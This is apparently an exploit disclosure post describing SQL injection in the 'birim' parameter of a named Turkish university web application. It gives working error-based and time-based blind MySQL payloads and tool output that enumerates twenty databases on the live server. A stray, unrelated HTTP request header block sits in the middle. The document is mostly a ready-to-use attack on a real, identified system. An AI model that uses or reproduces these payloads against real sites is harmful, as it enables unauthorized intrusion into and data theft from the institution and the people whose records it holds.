# Exploit Title: SQL Injection in “ https://bys.aku.edu.tr/ “ #----------------------------------------------------------------------------------------- # Exploit Author: Prototyqe/Furkan Özer #----------------------------------------------------------------------------------------- # Date: 09.01.2019 #----------------------------------------------------------------------------------------- # Category: Web Application #----------------------------------------------------------------------------------------- # Vulnerability Path: https://bys.aku.edu.tr/index.php?birim=[sql%27li] #----------------------------------------------------------------------------------------- #GET /success.txt HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: */* Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: close Türü : error-based Başlık: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: birim=30 AND (SELECT 7465 FROM(SELECT COUNT(*),CONCAT(0x71717a7671,(SELECT (ELT(7465=7465,1))),0x7170767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Türü: time-based blind Başlık: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: birim=30 AND (SELECT 1518 FROM (SELECT(SLEEP(5)))WkCi) web server operating system: Linux Ubuntu web application technology: Apache 2.4.29, PHP back-end DBMS: MySQL >= 5.0 [15:27:55] [INFO] fetching database names [15:28:12] [INFO] used SQL query returns 20 entries [15:28:15] [INFO] retrieved: 'information_schema' [15:28:18] [INFO] retrieved: 'akuftp' [15:28:22] [INFO] retrieved: 'akuper' [15:28:25] [INFO] retrieved: 'bys' [15:28:28] [INFO] retrieved: 'donerser' [15:28:31] [INFO] retrieved: 'etikkurul' [15:28:35] [INFO] retrieved: 'faaliyet' [15:28:38] [INFO] retrieved: 'kirasis' [15:28:42] [INFO] retrieved: 'labcihaz' [15:28:45] [INFO] retrieved: 'merkez_switchler' [15:28:48] [INFO] retrieved: 'muh_lab' [15:28:52] [INFO] retrieved: 'mysql' [15:28:56] [INFO] retrieved: 'optik_afsu' [15:29:00] [INFO] retrieved: 'optik_sinav' [15:29:04] [INFO] retrieved: 'performance_schema' [15:29:07] [INFO] retrieved: 'phpmyadmin' [15:29:10] [INFO] retrieved: 'sys' [15:29:13] [INFO] retrieved: 'uni_net' [15:29:16] [INFO] retrieved: 'yenikirasis' [15:29:19] [INFO] retrieved: 'zimbralog' available databases [20]: [*] akuftp [*] akuper [*] bys [*] donerser [*] etikkurul [*] faaliyet [*] information_schema [*] kirasis [*] labcihaz [*] merkez_switchler [*] muh_lab [*] mysql [*] optik_afsu [*] optik_sinav [*] performance_schema [*] phpmyadmin [*] sys [*] uni_net [*] yenikirasis [*] zimbralog